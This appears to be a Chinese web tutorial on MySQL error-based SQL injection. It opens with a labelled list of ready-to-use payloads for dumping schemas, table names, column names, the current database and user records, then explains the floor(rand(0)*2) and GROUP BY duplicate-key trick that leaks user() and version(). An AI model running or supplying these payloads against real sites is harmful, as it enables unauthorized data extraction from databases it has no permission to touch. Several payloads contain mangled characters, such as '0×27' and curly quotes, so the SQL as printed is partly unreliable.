admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
爆表:
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,hex(cast(table_name as char)),0×27,0x7e) from information_schema.tables where table_schema=0x64656D6F limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆字段:
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,column_name,0×27,0x7e) from information_schema.columns where table_schema=0x64656D6F and table_name=0×75736572 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# --phpfensi.com
爆所有庫:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0×27,schema_name,0×27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆當前數據庫:
username=-99999999999′ and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,hex(cast(database() as char)),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆內容:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,user.username,0×27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆出內容目的就達到了,這些語句讓我最無法理解的就是floor(rand(0)*2)),group by x,完全不知道拿出來是做什么的.
查相關資料在mysql官方介紹中找到答案:
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
意思就是不能再ORDER BY 中使用 RAND() 了,那就也不能用GROUP BY了,用了就會報錯了.
admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
有rand,后面又出現group by a語句,所以就報錯了Duplicate entry ‘root‘ for key ‘group_key’而這里的“’XXXXXXXXXX”就是 user()的內容,這樣就有了用戶名.
可以進行如下的測試:報錯的:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b– 去掉rand后沒有報錯:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b– 去掉GROUP BY a 后沒有報錯:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b–。
